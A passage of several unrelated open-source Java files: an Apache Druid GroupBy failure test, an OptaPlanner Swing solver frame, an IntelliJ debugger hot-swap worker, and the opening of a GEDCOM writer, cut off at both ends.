* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.druid.query.groupby;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.base.Supplier;
import com.google.common.base.Suppliers;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableMap;
import org.apache.druid.collections.CloseableDefaultBlockingPool;
import org.apache.druid.collections.CloseableStupidPool;
import org.apache.druid.collections.ReferenceCountingResourceHolder;
import org.apache.druid.java.util.common.concurrent.Execs;
import org.apache.druid.java.util.common.granularity.Granularities;
import org.apache.druid.query.DruidProcessingConfig;
import org.apache.druid.query.InsufficientResourcesException;
import org.apache.druid.query.QueryContexts;
import org.apache.druid.query.QueryDataSource;
import org.apache.druid.query.QueryRunner;
import org.apache.druid.query.QueryRunnerTestHelper;
import org.apache.druid.query.QueryTimeoutException;
import org.apache.druid.query.ResourceLimitExceededException;
import org.apache.druid.query.aggregation.LongSumAggregatorFactory;
import org.apache.druid.query.dimension.DefaultDimensionSpec;
import org.apache.druid.query.groupby.strategy.GroupByStrategySelector;
import org.apache.druid.query.groupby.strategy.GroupByStrategyV1;
import org.apache.druid.query.groupby.strategy.GroupByStrategyV2;
import org.junit.AfterClass;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.ExpectedException;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
@RunWith(Parameterized.class)
public class GroupByQueryRunnerFailureTest
{
private static final DruidProcessingConfig DEFAULT_PROCESSING_CONFIG = new DruidProcessingConfig()
{
@Override
public String getFormatString()
{
return null;
}
@Override
public int intermediateComputeSizeBytes()
{
return 10 * 1024 * 1024;
}
@Override
public int getNumMergeBuffers()
{
return 1;
}
@Override
public int getNumThreads()
{
return 2;
}
};
@Rule
public ExpectedException expectedException = ExpectedException.none();
private static GroupByQueryRunnerFactory makeQueryRunnerFactory(
final ObjectMapper mapper,
final GroupByQueryConfig config
)
{
final Supplier<GroupByQueryConfig> configSupplier = Suppliers.ofInstance(config);
final GroupByStrategySelector strategySelector = new GroupByStrategySelector(
configSupplier,
new GroupByStrategyV1(
configSupplier,
new GroupByQueryEngine(configSupplier, BUFFER_POOL),
QueryRunnerTestHelper.NOOP_QUERYWATCHER,
BUFFER_POOL
),
new GroupByStrategyV2(
DEFAULT_PROCESSING_CONFIG,
configSupplier,
BUFFER_POOL,
MERGE_BUFFER_POOL,
mapper,
QueryRunnerTestHelper.NOOP_QUERYWATCHER
)
);
final GroupByQueryQueryToolChest toolChest = new GroupByQueryQueryToolChest(strategySelector);
return new GroupByQueryRunnerFactory(strategySelector, toolChest);
}
private static final CloseableStupidPool<ByteBuffer> BUFFER_POOL = new CloseableStupidPool<>(
"GroupByQueryEngine-bufferPool",
new Supplier<ByteBuffer>()
{
@Override
public ByteBuffer get()
{
return ByteBuffer.allocateDirect(DEFAULT_PROCESSING_CONFIG.intermediateComputeSizeBytes());
}
}
);
private static final CloseableDefaultBlockingPool<ByteBuffer> MERGE_BUFFER_POOL = new CloseableDefaultBlockingPool<>(
new Supplier<ByteBuffer>()
{
@Override
public ByteBuffer get()
{
return ByteBuffer.allocateDirect(DEFAULT_PROCESSING_CONFIG.intermediateComputeSizeBytes());
}
},
DEFAULT_PROCESSING_CONFIG.getNumMergeBuffers()
);
private static final GroupByQueryRunnerFactory FACTORY = makeQueryRunnerFactory(
GroupByQueryRunnerTest.DEFAULT_MAPPER,
new GroupByQueryConfig()
{
@Override
public String getDefaultStrategy()
{
return "v2";
}
}
);
private QueryRunner<ResultRow> runner;
@AfterClass
public static void teardownClass()
{
BUFFER_POOL.close();
MERGE_BUFFER_POOL.close();
}
@Parameters(name = "{0}")
public static Collection<Object[]> constructorFeeder()
{
final List<Object[]> args = new ArrayList<>();
for (QueryRunner<ResultRow> runner : QueryRunnerTestHelper.makeQueryRunners(FACTORY)) {
args.add(new Object[]{runner});
}
return args;
}
public GroupByQueryRunnerFailureTest(QueryRunner<ResultRow> runner)
{
this.runner = FACTORY.mergeRunners(Execs.directExecutor(), ImmutableList.of(runner));
}
@Test(timeout = 60_000L)
public void testNotEnoughMergeBuffersOnQueryable()
{
expectedException.expect(QueryTimeoutException.class);
expectedException.expectMessage("Cannot acquire enough merge buffers");
final GroupByQuery query = GroupByQuery
.builder()
.setDataSource(
new QueryDataSource(
GroupByQuery.builder()
.setDataSource(QueryRunnerTestHelper.DATA_SOURCE)
.setInterval(QueryRunnerTestHelper.FIRST_TO_THIRD)
.setGranularity(Granularities.ALL)
.setDimensions(new DefaultDimensionSpec("quality", "alias"))
.setAggregatorSpecs(Collections.singletonList(QueryRunnerTestHelper.ROWS_COUNT))
.build()
)
)
.setGranularity(Granularities.ALL)
.setInterval(QueryRunnerTestHelper.FIRST_TO_THIRD)
.setAggregatorSpecs(new LongSumAggregatorFactory("rows", "rows"))
.setContext(ImmutableMap.of(QueryContexts.TIMEOUT_KEY, 500))
.build();
GroupByQueryRunnerTestHelper.runQuery(FACTORY, runner, query);
}
@Test(timeout = 60_000L)
public void testResourceLimitExceededOnBroker()
{
expectedException.expect(ResourceLimitExceededException.class);
final GroupByQuery query = GroupByQuery
.builder()
.setDataSource(
new QueryDataSource(
GroupByQuery.builder()
.setDataSource(
GroupByQuery.builder()
.setDataSource(QueryRunnerTestHelper.DATA_SOURCE)
.setInterval(QueryRunnerTestHelper.FIRST_TO_THIRD)
.setGranularity(Granularities.ALL)
.setDimensions(
new DefaultDimensionSpec("quality", "alias"),
new DefaultDimensionSpec("market", null)
)
.setAggregatorSpecs(Collections.singletonList(QueryRunnerTestHelper.ROWS_COUNT))
.build()
)
.setInterval(QueryRunnerTestHelper.FIRST_TO_THIRD)
.setGranularity(Granularities.ALL)
.setDimensions(new DefaultDimensionSpec("quality", "alias"))
.setAggregatorSpecs(Collections.singletonList(QueryRunnerTestHelper.ROWS_COUNT))
.build()
)
)
.setGranularity(Granularities.ALL)
.setInterval(QueryRunnerTestHelper.FIRST_TO_THIRD)
.setAggregatorSpecs(new LongSumAggregatorFactory("rows", "rows"))
.setContext(ImmutableMap.of(QueryContexts.TIMEOUT_KEY, 500))
.build();
GroupByQueryRunnerTestHelper.runQuery(FACTORY, runner, query);
}
@Test(timeout = 60_000L, expected = InsufficientResourcesException.class)
public void testInsufficientResourcesOnBroker()
{
final GroupByQuery query = GroupByQuery
.builder()
.setDataSource(
new QueryDataSource(
GroupByQuery.builder()
.setDataSource(QueryRunnerTestHelper.DATA_SOURCE)
.setInterval(QueryRunnerTestHelper.FIRST_TO_THIRD)
.setGranularity(Granularities.ALL)
.setDimensions(new DefaultDimensionSpec("quality", "alias"))
.setAggregatorSpecs(Collections.singletonList(QueryRunnerTestHelper.ROWS_COUNT))
.build()
)
)
.setGranularity(Granularities.ALL)
.setInterval(QueryRunnerTestHelper.FIRST_TO_THIRD)
.setAggregatorSpecs(new LongSumAggregatorFactory("rows", "rows"))
.setContext(ImmutableMap.of(QueryContexts.TIMEOUT_KEY, 500))
.build();
List<ReferenceCountingResourceHolder<ByteBuffer>> holder = null;
try {
holder = MERGE_BUFFER_POOL.takeBatch(1, 10);
GroupByQueryRunnerTestHelper.runQuery(FACTORY, runner, query);
}
finally {
if (holder != null) {
holder.forEach(ReferenceCountingResourceHolder::close);
}
}
}
@Test(timeout = 60_000L)
public void testTimeoutExceptionOnQueryable()
{
expectedException.expect(QueryTimeoutException.class);
final GroupByQuery query = GroupByQuery
.builder()
.setDataSource(QueryRunnerTestHelper.DATA_SOURCE)
.setQuerySegmentSpec(QueryRunnerTestHelper.FIRST_TO_THIRD)
.setDimensions(new DefaultDimensionSpec("quality", "alias"))
.setAggregatorSpecs(new LongSumAggregatorFactory("rows", "rows"))
.setGranularity(QueryRunnerTestHelper.DAY_GRAN)
.overrideContext(ImmutableMap.of(QueryContexts.TIMEOUT_KEY, 1))
.build();
GroupByQueryRunnerFactory factory = makeQueryRunnerFactory(
GroupByQueryRunnerTest.DEFAULT_MAPPER,
new GroupByQueryConfig()
{
@Override
public String getDefaultStrategy()
{
return "v2";
}
@Override
public boolean isSingleThreaded()
{
return true;
}
}
);
QueryRunner<ResultRow> mergeRunners = factory.mergeRunners(Execs.directExecutor(), ImmutableList.of(runner));
GroupByQueryRunnerTestHelper.runQuery(factory, mergeRunners, query);
}
}
| |
/*
* Copyright 2010 JBoss Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.optaplanner.examples.common.swingui;
import java.awt.BorderLayout;
import java.awt.Component;
import java.awt.Cursor;
import java.awt.Dimension;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import javax.swing.AbstractAction;
import javax.swing.Action;
import javax.swing.BorderFactory;
import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JComponent;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JProgressBar;
import javax.swing.JScrollPane;
import javax.swing.SwingUtilities;
import javax.swing.filechooser.FileFilter;
import org.optaplanner.core.impl.solution.Solution;
import org.optaplanner.examples.common.business.SolutionBusiness;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class SolverAndPersistenceFrame extends JFrame {
protected final transient Logger logger = LoggerFactory.getLogger(getClass());
private SolutionBusiness solutionBusiness;
private SolutionPanel solutionPanel;
private ConstraintMatchesDialog constraintMatchesDialog;
private List<Action> loadUnsolvedActionList;
private List<Action> loadSolvedActionList;
private Action terminateSolvingEarlyAction;
private JCheckBox refreshScreenDuringSolvingCheckBox;
private Action solveAction;
private Action openAction;
private Action saveAction;
private Action importAction;
private Action exportAction;
private JProgressBar progressBar;
private JLabel resultLabel;
private ShowConstraintMatchesDialogAction showConstraintMatchesDialogAction;
public SolverAndPersistenceFrame(SolutionBusiness solutionBusiness, SolutionPanel solutionPanel, String exampleName) {
super(exampleName + " OptaPlanner example");
this.solutionBusiness = solutionBusiness;
this.solutionPanel = solutionPanel;
solutionPanel.setSolutionBusiness(solutionBusiness);
solutionPanel.setSolverAndPersistenceFrame(this);
registerListeners();
constraintMatchesDialog = new ConstraintMatchesDialog(this);
constraintMatchesDialog.setSolutionBusiness(solutionBusiness);
}
private void registerListeners() {
solutionBusiness.registerForBestSolutionChanges(this);
addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
// This async, so it doesn't stop the solving immediately
solutionBusiness.terminateSolvingEarly();
}
});
}
public void bestSolutionChanged() {
Solution solution = solutionBusiness.getSolution();
if (refreshScreenDuringSolvingCheckBox.isSelected()) {
solutionPanel.updatePanel(solution);
validate(); // TODO remove me?
}
resultLabel.setText("Latest best score: " + solution.getScore());
}
public void init(Component centerForComponent) {
setContentPane(createContentPane());
pack();
setLocationRelativeTo(centerForComponent);
}
private JPanel createContentPane() {
JPanel panel = new JPanel(new BorderLayout());
panel.add(createButtonPanel(), BorderLayout.NORTH);
if (solutionPanel.isWrapInScrollPane()) {
JScrollPane solutionScrollPane = new JScrollPane(solutionPanel);
panel.add(solutionScrollPane, BorderLayout.CENTER);
} else {
panel.add(solutionPanel, BorderLayout.CENTER);
}
panel.add(createScorePanel(), BorderLayout.SOUTH);
return panel;
}
private JPanel createButtonPanel() {
JPanel panel = new JPanel(new GridLayout(1, 0));
panel.add(createLoadUnsolvedPanel());
panel.add(createLoadSolvedPanel());
panel.add(createProcessingPanel());
return panel;
}
private JComponent createLoadUnsolvedPanel() {
loadUnsolvedActionList = new ArrayList<Action>();
JPanel panel = new JPanel(new GridLayout(0, 1));
for (File file : solutionBusiness.getUnsolvedFileList()) {
Action loadUnsolvedAction = new LoadAction(file);
loadUnsolvedActionList.add(loadUnsolvedAction);
panel.add(new JButton(loadUnsolvedAction));
}
JScrollPane scrollPane = new JScrollPane(panel);
scrollPane.getVerticalScrollBar().setUnitIncrement(25);
scrollPane.setPreferredSize(new Dimension(250, 200));
return scrollPane;
}
private JComponent createLoadSolvedPanel() {
loadSolvedActionList = new ArrayList<Action>();
JPanel panel = new JPanel(new GridLayout(0, 1));
for (File file : solutionBusiness.getSolvedFileList()) {
Action loadSolvedAction = new LoadAction(file);
loadSolvedActionList.add(loadSolvedAction);
panel.add(new JButton(loadSolvedAction));
}
JScrollPane scrollPane = new JScrollPane(panel);
scrollPane.getVerticalScrollBar().setUnitIncrement(25);
scrollPane.setPreferredSize(new Dimension(250, 200));
return scrollPane;
}
private class LoadAction extends AbstractAction {
private File file;
public LoadAction(File file) {
super("Load " + file.getName());
this.file = file;
}
public void actionPerformed(ActionEvent e) {
setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
try {
solutionBusiness.openSolution(file);
setSolutionLoaded();
} finally {
setCursor(Cursor.getDefaultCursor());
}
}
}
private JComponent createProcessingPanel() {
JPanel panel = new JPanel(new GridLayout(0, 1));
solveAction = new SolveAction();
solveAction.setEnabled(false);
panel.add(new JButton(solveAction));
terminateSolvingEarlyAction = new TerminateSolvingEarlyAction();
terminateSolvingEarlyAction.setEnabled(false);
panel.add(new JButton(terminateSolvingEarlyAction));
refreshScreenDuringSolvingCheckBox = new JCheckBox("Refresh screen during solving",
solutionPanel.isRefreshScreenDuringSolving());
panel.add(refreshScreenDuringSolvingCheckBox);
openAction = new OpenAction();
openAction.setEnabled(true);
panel.add(new JButton(openAction));
saveAction = new SaveAction();
saveAction.setEnabled(false);
panel.add(new JButton(saveAction));
importAction = new ImportAction();
importAction.setEnabled(solutionBusiness.hasImporter());
panel.add(new JButton(importAction));
exportAction = new ExportAction();
exportAction.setEnabled(false);
panel.add(new JButton(exportAction));
return panel;
}
private class SolveAction extends AbstractAction {
// TODO This should be replaced with a java 6 SwingWorker once drools's hudson is on JDK 1.6
private ExecutorService solvingExecutor = Executors.newFixedThreadPool(1);
public SolveAction() {
super("Solve");
}
public void actionPerformed(ActionEvent e) {
setSolvingState(true);
final Solution planningProblem = solutionBusiness.getSolution(); // In event thread
// TODO This should be replaced with a java 6 SwingWorker once drools's hudson is on JDK 1.6
solvingExecutor.submit(new Runnable() {
public void run() {
Solution bestSolution;
try {
bestSolution = solutionBusiness.solve(planningProblem); // Not in event thread
} catch (final Throwable e) {
// Otherwise the newFixedThreadPool will eat the exception...
logger.error("Solving failed.", e);
bestSolution = null;
}
final Solution newSolution = bestSolution;
SwingUtilities.invokeLater(new Runnable() {
public void run() {
if (newSolution != null) {
solutionBusiness.setSolution(newSolution); // In event thread
}
setSolvingState(false);
resetScreen();
}
});
}
});
}
}
private class TerminateSolvingEarlyAction extends AbstractAction {
public TerminateSolvingEarlyAction() {
super("Terminate solving early");
}
public void actionPerformed(ActionEvent e) {
// This async, so it doesn't stop the solving immediately
solutionBusiness.terminateSolvingEarly();
}
}
private class OpenAction extends AbstractAction {
private static final String NAME = "Open...";
public OpenAction() {
super(NAME);
}
public void actionPerformed(ActionEvent e) {
JFileChooser fileChooser = new JFileChooser(solutionBusiness.getUnsolvedDataDir());
fileChooser.setFileFilter(new FileFilter() {
public boolean accept(File file) {
return file.isDirectory() || file.getName().endsWith(".xml");
}
public String getDescription() {
return "Solver xml files";
}
});
fileChooser.setDialogTitle(NAME);
int approved = fileChooser.showOpenDialog(SolverAndPersistenceFrame.this);
if (approved == JFileChooser.APPROVE_OPTION) {
setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
try {
solutionBusiness.openSolution(fileChooser.getSelectedFile());
setSolutionLoaded();
} finally {
setCursor(Cursor.getDefaultCursor());
}
}
}
}
private class SaveAction extends AbstractAction {
private static final String NAME = "Save as...";
public SaveAction() {
super(NAME);
}
public void actionPerformed(ActionEvent e) {
JFileChooser fileChooser = new JFileChooser(solutionBusiness.getSolvedDataDir());
fileChooser.setFileFilter(new FileFilter() {
public boolean accept(File file) {
return file.isDirectory() || file.getName().endsWith(".xml");
}
public String getDescription() {
return "Solver xml files";
}
});
fileChooser.setDialogTitle(NAME);
int approved = fileChooser.showSaveDialog(SolverAndPersistenceFrame.this);
if (approved == JFileChooser.APPROVE_OPTION) {
setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
try {
solutionBusiness.saveSolution(fileChooser.getSelectedFile());
} finally {
setCursor(Cursor.getDefaultCursor());
}
}
}
}
private class ImportAction extends AbstractAction {
private static final String NAME = "Import...";
public ImportAction() {
super(NAME);
}
public void actionPerformed(ActionEvent e) {
JFileChooser fileChooser = new JFileChooser(solutionBusiness.getImportDataDir());
fileChooser.setFileFilter(new FileFilter() {
public boolean accept(File file) {
return file.isDirectory() || solutionBusiness.acceptImportFile(file);
}
public String getDescription() {
return "Import files (*" + solutionBusiness.getImportFileSuffix() + ")";
}
});
fileChooser.setDialogTitle(NAME);
int approved = fileChooser.showOpenDialog(SolverAndPersistenceFrame.this);
if (approved == JFileChooser.APPROVE_OPTION) {
setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
try {
solutionBusiness.importSolution(fileChooser.getSelectedFile());
setSolutionLoaded();
} finally {
setCursor(Cursor.getDefaultCursor());
}
}
}
}
private class ExportAction extends AbstractAction {
private static final String NAME = "Export as...";
public ExportAction() {
super(NAME);
}
public void actionPerformed(ActionEvent e) {
JFileChooser fileChooser = new JFileChooser(solutionBusiness.getExportDataDir());
// fileChooser.setFileFilter(new FileFilter() {
// public boolean accept(File file) {
// return file.isDirectory() || file.getName().endsWith(".xml"); // TODO Not all export files are xml
// }
// public String getDescription() {
// return "Export files";
// }
// });
fileChooser.setDialogTitle(NAME);
int approved = fileChooser.showSaveDialog(SolverAndPersistenceFrame.this);
if (approved == JFileChooser.APPROVE_OPTION) {
setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
try {
solutionBusiness.exportSolution(fileChooser.getSelectedFile());
} finally {
setCursor(Cursor.getDefaultCursor());
}
}
}
}
private JPanel createScorePanel() {
JPanel panel = new JPanel(new BorderLayout());
progressBar = new JProgressBar(0, 100);
panel.add(progressBar, BorderLayout.WEST);
resultLabel = new JLabel("No solution loaded yet");
resultLabel.setBorder(BorderFactory.createLoweredBevelBorder());
panel.add(resultLabel, BorderLayout.CENTER);
showConstraintMatchesDialogAction = new ShowConstraintMatchesDialogAction();
showConstraintMatchesDialogAction.setEnabled(false);
JButton constraintScoreMapButton = new JButton(showConstraintMatchesDialogAction);
panel.add(constraintScoreMapButton, BorderLayout.EAST);
return panel;
}
private class ShowConstraintMatchesDialogAction extends AbstractAction {
public ShowConstraintMatchesDialogAction() {
super("Constraint matches");
}
public void actionPerformed(ActionEvent e) {
constraintMatchesDialog.resetContentPanel();
constraintMatchesDialog.setVisible(true);
}
}
private void setSolutionLoaded() {
solveAction.setEnabled(true);
saveAction.setEnabled(true);
exportAction.setEnabled(solutionBusiness.hasExporter());
showConstraintMatchesDialogAction.setEnabled(true);
resetScreen();
}
private void setSolvingState(boolean solving) {
for (Action action : loadUnsolvedActionList) {
action.setEnabled(!solving);
}
for (Action action : loadSolvedActionList) {
action.setEnabled(!solving);
}
solveAction.setEnabled(!solving);
terminateSolvingEarlyAction.setEnabled(solving);
openAction.setEnabled(!solving);
saveAction.setEnabled(!solving);
importAction.setEnabled(!solving && solutionBusiness.hasImporter());
exportAction.setEnabled(!solving && solutionBusiness.hasExporter());
solutionPanel.setEnabled(!solving);
progressBar.setIndeterminate(solving);
progressBar.setStringPainted(solving);
progressBar.setString(solving ? "Solving..." : null);
showConstraintMatchesDialogAction.setEnabled(!solving);
solutionPanel.setSolvingState(solving);
}
public void resetScreen() {
solutionPanel.resetPanel(solutionBusiness.getSolution());
validate();
resultLabel.setText("Score: " + solutionBusiness.getScore());
}
}
| |
/*
* Copyright 2000-2009 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.intellij.debugger.impl;
import com.intellij.debugger.DebuggerBundle;
import com.intellij.debugger.DebuggerManagerEx;
import com.intellij.debugger.engine.DebugProcessImpl;
import com.intellij.debugger.engine.DebuggerManagerThreadImpl;
import com.intellij.debugger.jdi.VirtualMachineProxyImpl;
import com.intellij.debugger.ui.breakpoints.BreakpointManager;
import com.intellij.openapi.diagnostic.Logger;
import com.intellij.openapi.progress.ProcessCanceledException;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.io.FileUtil;
import com.intellij.util.StringBuilderSpinAllocator;
import com.intellij.util.concurrency.Semaphore;
import com.intellij.util.ui.MessageCategory;
import com.sun.jdi.ReferenceType;
import org.jetbrains.annotations.Nullable;
import javax.swing.*;
import java.io.File;
import java.io.IOException;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @author lex
*/
class ReloadClassesWorker {
private static final Logger LOG = Logger.getInstance("#com.intellij.debugger.impl.ReloadClassesWorker");
private final DebuggerSession myDebuggerSession;
private final HotSwapProgress myProgress;
public ReloadClassesWorker(DebuggerSession session, HotSwapProgress progress) {
myDebuggerSession = session;
myProgress = progress;
}
private DebugProcessImpl getDebugProcess() {
return myDebuggerSession.getProcess();
}
private void processException(Throwable e) {
if (e.getMessage() != null) {
myProgress.addMessage(myDebuggerSession, MessageCategory.ERROR, e.getMessage());
}
if (e instanceof ProcessCanceledException) {
myProgress.addMessage(myDebuggerSession, MessageCategory.INFORMATION, DebuggerBundle.message("error.operation.canceled"));
return;
}
if (e instanceof UnsupportedOperationException) {
myProgress.addMessage(myDebuggerSession, MessageCategory.ERROR, DebuggerBundle.message("error.operation.not.supported.by.vm"));
}
else if (e instanceof NoClassDefFoundError) {
myProgress.addMessage(myDebuggerSession, MessageCategory.ERROR, DebuggerBundle.message("error.class.def.not.found", e.getLocalizedMessage()));
}
else if (e instanceof VerifyError) {
myProgress.addMessage(myDebuggerSession, MessageCategory.ERROR, DebuggerBundle.message("error.verification.error", e.getLocalizedMessage()));
}
else if (e instanceof UnsupportedClassVersionError) {
myProgress.addMessage(myDebuggerSession, MessageCategory.ERROR, DebuggerBundle.message("error.unsupported.class.version", e.getLocalizedMessage()));
}
else if (e instanceof ClassFormatError) {
myProgress.addMessage(myDebuggerSession, MessageCategory.ERROR, DebuggerBundle.message("error.class.format.error", e.getLocalizedMessage()));
}
else if (e instanceof ClassCircularityError) {
myProgress.addMessage(myDebuggerSession, MessageCategory.ERROR, DebuggerBundle.message("error.class.circularity.error", e.getLocalizedMessage()));
}
else {
myProgress.addMessage(
myDebuggerSession, MessageCategory.ERROR,
DebuggerBundle.message("error.exception.while.reloading", e.getClass().getName(), e.getLocalizedMessage())
);
}
}
public void reloadClasses(final Map<String, HotSwapFile> modifiedClasses) {
DebuggerManagerThreadImpl.assertIsManagerThread();
if(modifiedClasses == null || modifiedClasses.size() == 0) {
myProgress.addMessage(myDebuggerSession, MessageCategory.INFORMATION, DebuggerBundle.message("status.hotswap.loaded.classes.up.to.date"));
return;
}
final DebugProcessImpl debugProcess = getDebugProcess();
final VirtualMachineProxyImpl virtualMachineProxy = debugProcess.getVirtualMachineProxy();
if(virtualMachineProxy == null) {
return;
}
final Project project = debugProcess.getProject();
final BreakpointManager breakpointManager = (DebuggerManagerEx.getInstanceEx(project)).getBreakpointManager();
breakpointManager.disableBreakpoints(debugProcess);
//virtualMachineProxy.suspend();
try {
RedefineProcessor redefineProcessor = new RedefineProcessor(virtualMachineProxy);
int processedEntriesCount = 0;
for (final Map.Entry<String, HotSwapFile> entry : modifiedClasses.entrySet()) {
if (redefineProcessor.getProcessedClassesCount() == 0 && myProgress.isCancelled()) {
// once at least one class has been actually reloaded, do not interrupt the whole process
break;
}
processedEntriesCount++;
final String qualifiedName = entry.getKey();
if (qualifiedName != null) {
myProgress.setText(qualifiedName);
myProgress.setFraction(processedEntriesCount / (double)modifiedClasses.size());
}
try {
redefineProcessor.processClass(qualifiedName, entry.getValue().file);
}
catch (IOException e) {
reportProblem(qualifiedName, e);
}
}
if (redefineProcessor.getProcessedClassesCount() == 0 && myProgress.isCancelled()) {
// once at least one class has been actually reloaded, do not interrupt the whole process
return;
}
redefineProcessor.processPending();
myProgress.setFraction(1);
final int partiallyRedefinedClassesCount = redefineProcessor.getPartiallyRedefinedClassesCount();
if (partiallyRedefinedClassesCount == 0) {
myProgress.addMessage(
myDebuggerSession, MessageCategory.INFORMATION, DebuggerBundle.message("status.classes.reloaded", redefineProcessor.getProcessedClassesCount())
);
}
else {
final String message = DebuggerBundle.message(
"status.classes.not.all.versions.reloaded", partiallyRedefinedClassesCount, redefineProcessor.getProcessedClassesCount()
);
myProgress.addMessage(myDebuggerSession, MessageCategory.WARNING, message);
}
if (LOG.isDebugEnabled()) {
LOG.debug("classes reloaded");
}
}
catch (Throwable e) {
processException(e);
}
final Semaphore waitSemaphore = new Semaphore();
waitSemaphore.down();
//noinspection SSBasedInspection
SwingUtilities.invokeLater(new Runnable() {
public void run() {
try {
if (!project.isDisposed()) {
final BreakpointManager breakpointManager = (DebuggerManagerEx.getInstanceEx(project)).getBreakpointManager();
breakpointManager.reloadBreakpoints();
debugProcess.getRequestsManager().clearWarnings();
if (LOG.isDebugEnabled()) {
LOG.debug("requests updated");
LOG.debug("time stamp set");
}
myDebuggerSession.refresh(false);
}
}
catch (Throwable e) {
LOG.error(e);
}
finally {
waitSemaphore.up();
}
}
});
waitSemaphore.waitFor();
if (!project.isDisposed()) {
try {
breakpointManager.enableBreakpoints(debugProcess);
}
catch (Exception e) {
processException(e);
}
}
}
private void reportProblem(final String qualifiedName, @Nullable Exception ex) {
String reason = null;
if (ex != null) {
reason = ex.getLocalizedMessage();
}
if (reason == null || reason.length() == 0) {
reason = DebuggerBundle.message("error.io.error");
}
final StringBuilder buf = StringBuilderSpinAllocator.alloc();
try {
buf.append(qualifiedName).append(" : ").append(reason);
myProgress.addMessage(myDebuggerSession, MessageCategory.ERROR, buf.toString());
}
finally {
StringBuilderSpinAllocator.dispose(buf);
}
}
private static class RedefineProcessor {
/**
* number of classes that will be reloaded in one go.
* Such restriction is needed to deal with big number of classes being reloaded
*/
private static final int CLASSES_CHUNK_SIZE = 100;
private final VirtualMachineProxyImpl myVirtualMachineProxy;
private final Map<ReferenceType, byte[]> myRedefineMap = new HashMap<ReferenceType, byte[]>();
private int myProcessedClassesCount;
private int myPartiallyRedefinedClassesCount;
public RedefineProcessor(VirtualMachineProxyImpl virtualMachineProxy) {
myVirtualMachineProxy = virtualMachineProxy;
}
public void processClass(String qualifiedName, File file) throws Throwable {
final List<ReferenceType> vmClasses = myVirtualMachineProxy.classesByName(qualifiedName);
if (vmClasses.isEmpty()) {
return;
}
final byte[] content = FileUtil.loadFileBytes(file);
if (vmClasses.size() == 1) {
myRedefineMap.put(vmClasses.get(0), content);
if (myRedefineMap.size() >= CLASSES_CHUNK_SIZE) {
processChunk();
}
return;
}
int redefinedVersionsCount = 0;
Throwable error = null;
for (ReferenceType vmClass : vmClasses) {
try {
myVirtualMachineProxy.redefineClasses(Collections.singletonMap(vmClass, content));
redefinedVersionsCount++;
}
catch (Throwable t) {
error = t;
}
}
if (redefinedVersionsCount == 0) {
throw error;
}
if (redefinedVersionsCount < vmClasses.size()) {
myPartiallyRedefinedClassesCount++;
}
myProcessedClassesCount++;
}
private void processChunk() throws Throwable {
// reload this portion of classes and clear the map to free memory
try {
myVirtualMachineProxy.redefineClasses(myRedefineMap);
myProcessedClassesCount += myRedefineMap.size();
}
finally {
myRedefineMap.clear();
}
}
public void processPending() throws Throwable {
if (myRedefineMap.size() > 0) {
processChunk();
}
}
public int getProcessedClassesCount() {
return myProcessedClassesCount;
}
public int getPartiallyRedefinedClassesCount() {
return myPartiallyRedefinedClassesCount;
}
}
}
| |
/*
* Copyright 2011 Foundation for On-Line Genealogy, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.folg.gedcom.visitors;
import org.folg.gedcom.model.*;
import org.folg.gedcom.model.Name;
import org.folg.gedcom.parser.ModelParser;
import org.gedml.AnselOutputStreamWriter;
import org.gedml.GedcomParser;
import java.io.*;
import java.util.List;
import java.util.Stack;
/**
* User: Dallan
* Date: 12/25/11
*
* Export a model as GEDCOM
*/
public class GedcomWriter extends Visitor {
private Writer out = null;
private String eol = "";
private Stack<Object> stack;
private IOException nestedException;
public void write(Gedcom gedcom, File file) throws IOException {
OutputStream out = new FileOutputStream(file);
write(gedcom, out);
